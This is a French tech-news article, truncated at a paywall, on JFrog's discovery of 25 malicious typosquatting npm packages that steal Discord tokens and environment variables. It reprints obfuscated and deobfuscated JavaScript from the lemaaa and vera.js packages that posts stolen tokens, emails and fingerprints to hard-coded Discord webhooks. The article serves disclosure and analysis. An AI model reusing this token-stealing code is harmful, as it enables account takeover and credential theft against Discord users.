IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)

Vous êtes nouveau sur Developpez.com ? Créez votre compte ou connectez-vous afin de pouvoir participer !

Vous devez avoir un compte Developpez.com et être connecté pour pouvoir participer aux discussions.

Vous n'avez pas encore de compte Developpez.com ? Créez-en un en quelques instants, c'est entièrement gratuit !

Si vous disposez déjà d'un compte et qu'il est bien activé, connectez-vous à l'aide du formulaire ci-dessous.

Identifiez-vous
Identifiant
Mot de passe
Mot de passe oublié ?
Créer un compte

L'inscription est gratuite et ne vous prendra que quelques instants !

Je m'inscris !

25 bibliothèques JavaScript malveillantes distribuées via le référentiel de packages NPM officiel
Les chercheurs attribuent ce travail à des « auteurs novices de logiciels malveillants »

Le , par Stéphane le calme

75PARTAGES

4  0 
25 bibliothèques JavaScript malveillantes distribuées via le référentiel de packages NPM officiel,
les chercheurs attribuent ce travail à des « auteurs novices de logiciels malveillants »

Un autre lot de 25 bibliothèques JavaScript malveillantes a fait son chemin vers le registre officiel des packages NPM dans le but de voler des jetons Discord et des variables d'environnement de systèmes compromis, plus de deux mois après la suppression de 17 packages similaires. Les bibliothèques en question ont tiré parti des techniques de typosquattage et se sont fait passer pour d'autres packages légitimes tels que colors.js, crypto-js, discord.js, marked et noblox.js, a déclaré la société de sécurité DevOps JFrog, attribuant les packages au travail à des « auteurs novices de logiciels malveillants ».

Un autre package malveillant est lemaaa, « une bibliothèque destinée à être utilisée par des acteurs malveillants pour manipuler les comptes Discord », ont déclaré les chercheurs Andrey Polkovnychenko et Shachar Menashe. « Lorsqu'elle est utilisée d'une certaine manière, la bibliothèque détournera le jeton secret Discord qui lui a été donné, en plus d'exécuter la fonction utilitaire demandée ». Lemaaa est conçu pour utiliser le jeton Discord fourni pour siphonner les informations de carte de crédit de la victime, prendre le contrôle du compte en modifiant le mot de passe et l'e-mail du compte, et même supprimer tous les amis de la victime.

Les chercheurs pensent que cette tendance ne fera que continuer à augmenter, car ils voient encore des dizaines de nouveaux packages malveillants qui sont signalés chaque jour par leurs scanners npm.


L'équipe de recherche de JFrog Security surveille en permanence les référentiels de logiciels open source (OSS) populaires avec ses outils automatisés pour éviter les menaces potentielles de sécurité de la chaîne d'approvisionnement logicielle, et signale toute vulnérabilité ou paquet malveillant découvert aux responsables du référentiel et à la communauté au sens large. Plus récemment, elle a divulgué 25 packages malveillants dans le référentiel npm qui ont été récupérés par ses outils d'analyse automatisés. Tous les packages malveillants signalés ont été rapidement supprimés par les responsables de npm.

Voici la la liste complète :
  1. node-colors-sync (Discord token stealer)
  2. color-self (Discord token stealer)
  3. color-self-2 (Discord token stealer)
  4. wafer-text (Environment variable stealer)
  5. wafer-countdown (Environment variable stealer)
  6. wafer-template (Environment variable stealer)
  7. wafer-darla (Environment variable stealer)
  8. lemaaa (Discord token stealer)
  9. adv-discord-utility (Discord token stealer)
  10. tools-for-discord (Discord token stealer)
  11. mynewpkg (Environment variable stealer)
  12. purple-bitch (Discord token stealer)
  13. purple-bitchs (Discord token stealer)
  14. noblox.js-addons (Discord token stealer)
  15. kakakaakaaa11aa (Connectback shell)
  16. markedjs (Python remote code injector)
  17. crypto-standarts (Python remote code injector)
  18. discord-selfbot-tools (Discord token stealer)
  19. discord.js-aployscript-v11 (Discord token stealer)
  20. discord.js-selfbot-aployscript (Discord token stealer)
  21. discord.js-selfbot-aployed (Discord token stealer)
  22. discord.js-discord-selfbot-v4 (Discord token stealer)
  23. colors-beta (Discord token stealer)
  24. vera.js (Discord token stealer)
  25. discord-protection (Discord token stealer)

Les jetons Discord sont devenus un moyen lucratif pour les acteurs malveillants d'obtenir un accès non autorisé aux comptes sans mot de passe, permettant aux opérateurs d'exploiter l'accès pour propager des liens malveillants via les canaux Discord.

Les variables d'environnement, stockées sous forme de paires clé-valeur, sont utilisées pour enregistrer les informations relatives à l'environnement de programmation sur la machine de développement, notamment les jetons d'accès à l'API, les clés d'authentification, les URL d'API et les noms de compte.

Deux paquets malveillants, nommés markjs et crypto-standarts, se distinguent par leur rôle de chevaux de Troie en ce qu'ils répliquent (le code et les métadonnées sont dupliqués) complètement la fonctionnalité d'origine des bibliothèques bien connues marked et crypto-js, mais comportent un code malveillant supplémentaire pour injecter à distance du code Python arbitraire.

Fait intéressant, il semble que de nombreux packages malveillants npm se font encore passer pour le tristement célèbre package npm colors.js, qui était susceptible de faire l'objet d'une attaque majeure par déni de service il y a quelques semaines. Ce masquage est probablement dû au fait que colors.js est toujours l'un des packages les plus installés dans npm.

En plus de cela, l'équipe a été surprise de voir un cas intéressant d'auteurs de logiciels malveillants ciblant d'autres auteurs de logiciels malveillants. L'un des packages malveillants détectés par ses scanners, "lemaaa", est lui-même une bibliothèque destinée à être utilisée par des acteurs malveillants pour manipuler les comptes Discord. Lorsqu'elle est utilisée d'une certaine manière, la bibliothèque détournera le jeton secret Discord qui lui a été attribué, en plus d'exécuter la fonction utilitaire demandée.


Le package est un module d'aide pour les auteurs novices de logiciels malveillants Discord qui fournit des fonctions communes qu'ils peuvent réutiliser lorsqu'ils sont fournis avec le jeton Discord de la victime, comme obtenir les informations de carte de crédit de la victime, voler le compte de la victime (changer le mot de passe et l'e-mail du compte), etc.

Cependant, l'une des fonctions - "removeAllFriends" détournera le jeton Discord fourni vers une adresse Webhook codée en dur - https://canary.discord.com/api/webho...ZHCb3s5vApWHHz

Le code du module est obscurci, ce qui masque cette activité malveillante :

Code JavaScript : Sélectionner tout
1
2
3
4
5
6
function _0xf28e(){const  
_0x159601=['DELETE','https://discord.com/api/v8/users/@me 
','11317570ajQRNl','application/json','token','random',',\x20\x22nitro_boost\x22:\x20','false', 
'https://discord.com/api/v9/users/@me/mfa/totp/disable','https://discord.com/api/v8/guilds/ 
','last_4','@gmail.com','true','1315DTGoNg',',\x20\x22early_verified_bot_developer\x 
22:\x20','\x22,\x20\x22new_password\x22:\x20\x22','map','14370OOLNxq','There\x20is\x20no\x20bots',...

Dans ce cas, puisque le module est un utilitaire de malware (bibliothèque) en soi, il n'est en fait pas trop suspect que le module soit obscurci et donc les auteurs de malware novices peuvent faire confiance à ce module même avec son obscurcissement.

Après avoir désobscurci le code du module, nous pouvons voir le code malveillant dans la fonction "removeAllUsers":

Code JavaScript : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
async function removeAllFriends(token) { 
    ... 
    var _0x3d283a = await _0x1aa523['json'](), 
        malicious_webhook = 'https://canary.discord.com/api/webhooks/884196214302703676/PHJ1-GGrEOV7Zwz2RodFDpazJXmH6OnM60TNEX4RZ-VT-qW5sUUu-dZHCb3s5vApWHHz'; 
    await fetch(malicious_webhook, { 
        'method': 'POST', 
        'headers': { 
            'Content-Type': 'application/json' 
        }, 
        'body': JSON['stringify']({ 
            'content': '' + token 
        }) 
    }); 
    ...

Vera.js, est lui aussi un récupérateur de jetons Discord. Ce paquet est très petit et le code malveillant peut être facilement vu (car il n'est pas obscurci) mais il est intéressant de noter que l'auteur de ce paquet malveillant a décidé de voler le jeton Discord non pas à partir du stockage sur disque local (comme le font la plupart des voleurs de jetons Discord) mais plutôt depuis le stockage local du navigateur :

Code JavaScript : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function refresh() { 
    window.location.reload(); 
    var discordWebhook = "https://discord.com/api/webhooks/911967515024977991/MBGxIxbpqr8P00H29iuuxc7q_bkafDFpRri5j-hefGjaOCrkOcIvy4zjqa-qHrM1BEgU"; 
    var i = document.createElement('iframe'); 
    document.body.appendChild(i); 
    var request = new XMLHttpRequest(); 
    request.open("POST", discordWebhook); 
    request.setRequestHeader('Content-type', 'application/json'); 
    var params = { 
        username: "Token Grabber", 
        avatar_url: "https://malwarefox.com/wp-content/uploads/2017/11/hacker-1.png", 
        content: '**Token **\n------------------\nToken : ' + i.contentWindow.localStorage.token + '\n------------------\nEmail: ' + i.contentWindow.localStorage.email_cache + '\n------------------\nUser ID : ' + i.contentWindow.localStorage.user_id_cache + '\n------------------\nFingerprint : ' + i.contentWindow.localStorage.fingerprint + '\n------------------\nPropriétés : \`\`\`json\n' + i.contentWindow.localStorage.deviceProperties + '\`\`\`------------------\nScript de login : \n\`\`\`js\nlocation.reload();var i = document.createElement(\'iframe\');document.body.appendChild(i);i.contentWindow.localStorage.token = "\\"' + i.contentWindow.localStorage.token.replace(/^"(.*)"$/, '$1') + '\\""\`\`\`' 
    }; 
    request.send(JSON.stringify(params)); } 
  
module.exports = {refresh};

Le code qui vole le jeton peut être résumé de la manière suivante :

[CODE=JavaScript]location.reload();
var i = document.createElement([/code=javascript]...
La fin de cet article est réservée aux abonnés. Soutenez le Club Developpez.com en prenant un abonnement pour que nous puissions continuer à vous proposer des publications.

Une erreur dans cette actualité ? Signalez-nous-la !